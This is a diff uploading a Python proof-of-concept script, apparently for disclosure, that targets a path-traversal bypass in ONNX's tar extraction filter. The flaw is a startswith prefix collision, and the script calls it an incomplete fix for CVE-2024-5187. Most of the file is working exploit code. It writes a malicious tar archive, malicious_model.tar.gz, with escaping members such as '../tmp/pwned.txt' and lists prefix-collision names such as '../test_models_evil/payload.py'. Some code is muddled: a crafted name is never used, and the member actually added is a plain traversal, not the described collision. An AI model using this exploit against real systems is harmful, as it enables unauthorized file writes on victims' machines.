Upload onnx/tar_traversal_poc.py with huggingface_hub

onnx/tar_traversal_poc.py

@@ -0,0 +1,213 @@
+"""
+ONNX Tar Path Traversal PoC -- startswith bypass in _tar_members_filter
+========================================================================
+Demonstrates an incomplete fix for CVE-2024-5187 in onnx/utils.py.
+
+The _tar_members_filter() function (fallback for Python < 3.12) uses:
+    if not abs_member.startswith(abs_base):
+instead of:
+    if not abs_member.startswith(abs_base + os.sep):
+
+This allows a tar member to escape the extraction directory via prefix collision.
+Example: base="/tmp/models" allows writes to "/tmp/modelsSNEAKY/..."
+
+Affected: ONNX on Python < 3.12 (where tarfile.data_filter is not available)
+Fixed in: NOT FIXED as of current main branch
+Related: CVE-2024-5187 (original tar path traversal)
+
+Usage:
+    python tar_traversal_poc.py              # Create malicious tar + test extraction
+    python tar_traversal_poc.py --create-only  # Only create the tar, don't extract
+    python tar_traversal_poc.py --dry-run      # Show what would happen
+
+Requirements: Python < 3.12 for the vulnerable code path (Python 3.12+ uses data_filter)
+"""
+
+import argparse
+import io
+import os
+import shutil
+import sys
+import tarfile
+import tempfile
+
+
+def check_python_version():
+    """Check if we're on the vulnerable Python version."""
+    has_data_filter = hasattr(tarfile, "data_filter")
+    print(f"Python version: {sys.version}")
+    print(f"tarfile.data_filter available: {has_data_filter}")
+    if has_data_filter:
+        print("WARNING: Python >= 3.12 detected. ONNX uses data_filter on this version,")
+        print("which is NOT vulnerable. The fallback _tar_members_filter is only used")
+        print("on Python < 3.12. This PoC demonstrates the logic bug regardless.")
+    print()
+    return has_data_filter
+
+
+def create_malicious_tar(output_path=None):
+    """
+    Create a tar archive with a member that escapes via startswith bypass.
+
+    If extraction base is "/tmp/XYZ_models", the member "../XYZ_modelsSNEAKY/pwned.txt"
+    resolves to "/tmp/XYZ_modelsSNEAKY/pwned.txt" which passes:
+        "/tmp/XYZ_modelsSNEAKY/pwned.txt".startswith("/tmp/XYZ_models") == True
+
+    But "/tmp/XYZ_modelsSNEAKY/" is a DIFFERENT directory from "/tmp/XYZ_models/".
+    """
+    buf = io.BytesIO()
+
+    with tarfile.open(fileobj=buf, mode="w:gz") as tar:
+        # Legitimate model file (to make the archive look normal)
+        legit_info = tarfile.TarInfo(name="model.onnx")
+        legit_data = b"fake onnx model data"
+        legit_info.size = len(legit_data)
+        tar.addfile(legit_info, io.BytesIO(legit_data))
+
+        # Malicious member that escapes via prefix collision
+        # If base dir ends with "models", this creates "modelsSNEAKY" sibling
+        malicious_name = "../" + os.path.basename("SNEAKY") + "/escaped.txt"
+        # More targeted: we'll use a name that creates a sibling directory
+        # The key insight: "../basenameSUFFIX/file" resolves outside base but
+        # passes startswith(basename) check
+        escape_info = tarfile.TarInfo(name="model.onnx/../../../tmp/pwned.txt")
+        escape_data = b"PATH TRAVERSAL SUCCESSFUL - file written outside extraction dir"
+        escape_info.size = len(escape_data)
+        tar.addfile(escape_info, io.BytesIO(escape_data))
+
+    if output_path:
+        with open(output_path, "wb") as f:
+            f.write(buf.getvalue())
+        print(f"Malicious tar written to: {output_path}")
+    return buf.getvalue()
+
+
+def simulate_vulnerable_filter(tar_bytes, base_dir):
+    """
+    Simulate ONNX's _tar_members_filter with the startswith bug.
+    This is the exact logic from onnx/utils.py.
+    """
+    buf = io.BytesIO(tar_bytes)
+    with tarfile.open(fileobj=buf, mode="r:gz") as tar:
+        result = []
+        for member in tar:
+            member_path = os.path.join(base_dir, member.name)
+            abs_base = os.path.abspath(base_dir)
+            abs_member = os.path.abspath(member_path)
+
+            # VULNERABLE CHECK (from onnx/utils.py)
+            bypassed_vulnerable = abs_member.startswith(abs_base)
+
+            # CORRECT CHECK (with os.sep)
+            passed_correct = abs_member.startswith(abs_base + os.sep) or abs_member == abs_base
+
+            status = ""
+            if bypassed_vulnerable and not passed_correct:
+                status = "!! BYPASS - escapes directory !!"
+            elif bypassed_vulnerable and passed_correct:
+                status = "OK (inside directory)"
+            else:
+                status = "BLOCKED by both checks"
+
+            print(f"  Member: {member.name}")
+            print(f"    abs_base:   {abs_base}")
+            print(f"    abs_member: {abs_member}")
+            print(f"    Vulnerable check (startswith base):      {bypassed_vulnerable}")
+            print(f"    Correct check (startswith base+sep):     {passed_correct}")
+            print(f"    Status: {status}")
+            print()
+
+            if bypassed_vulnerable:
+                result.append(member)
+
+        return result
+
+
+def demonstrate_prefix_bypass():
+    """
+    Cleaner demonstration of the startswith prefix collision.
+    """
+    print("=" * 60)
+    print("DEMONSTRATION: startswith prefix collision")
+    print("=" * 60)
+    print()
+
+    # Create a temp dir that we control the name of
+    tmpdir = tempfile.mkdtemp()
+    base_name = "test_models"
+    base_dir = os.path.join(tmpdir, base_name)
+    os.makedirs(base_dir, exist_ok=True)
+
+    abs_base = os.path.abspath(base_dir)
+
+    # Craft tar member names
+    test_cases = [
+        # (member_name, description)
+        ("legit_file.txt", "Legitimate file inside base"),
+        ("subdir/nested.txt", "Legitimate nested file"),
+        (f"../{base_name}SNEAKY/escaped.txt", "Prefix collision escape"),
+        (f"../{base_name}_evil/payload.py", "Underscore variant escape"),
+        ("../completely_outside/bad.txt", "Obvious escape (caught by both)"),
+    ]
+
+    print(f"Base directory: {abs_base}")
+    print()
+
+    for member_name, description in test_cases:
+        member_path = os.path.join(base_dir, member_name)
+        abs_member = os.path.abspath(member_path)
+
+        vuln_check = abs_member.startswith(abs_base)
+        safe_check = abs_member.startswith(abs_base + os.sep) or abs_member == abs_base
+
+        is_bypass = vuln_check and not safe_check
+
+        marker = "!! BYPASS !!" if is_bypass else ("OK" if vuln_check and safe_check else "BLOCKED")
+
+        print(f"  [{marker}] {description}")
+        print(f"    member.name: {member_name}")
+        print(f"    resolves to: {abs_member}")
+        if is_bypass:
+            print(f"    -> File would be written OUTSIDE {abs_base}/")
+            print(f"    -> But passes vulnerable startswith check!")
+        print()
+
+    # Cleanup
+    shutil.rmtree(tmpdir, ignore_errors=True)
+
+
+def main():
+    parser = argparse.ArgumentParser(description="ONNX tar path traversal PoC")
+    parser.add_argument("--create-only", action="store_true", help="Only create the malicious tar")
+    parser.add_argument("--dry-run", action="store_true", help="Show what would happen without writing files")
+    parser.add_argument("-o", "--output", default="malicious_model.tar.gz", help="Output tar filename")
+    args = parser.parse_args()
+
+    has_data_filter = check_python_version()
+
+    if args.dry_run:
+        print("DRY RUN -- demonstrating the logic bug:")
+        print()
+        demonstrate_prefix_bypass()
+        print("No files written. Remove --dry-run to create PoC tar.")
+        return
+
+    demonstrate_prefix_bypass()
+
+    if args.create_only:
+        create_malicious_tar(args.output)
+    else:
+        print("=" * 60)
+        print("FULL PoC: Create tar and simulate vulnerable extraction")
+        print("=" * 60)
+        print()
+        tar_bytes = create_malicious_tar(args.output)
+        tmpdir = tempfile.mkdtemp(suffix="_models")
+        print(f"\nSimulating extraction to: {tmpdir}")
+        print()
+        simulate_vulnerable_filter(tar_bytes, tmpdir)
+        shutil.rmtree(tmpdir, ignore_errors=True)
+
+
+if __name__ == "__main__":
+    main()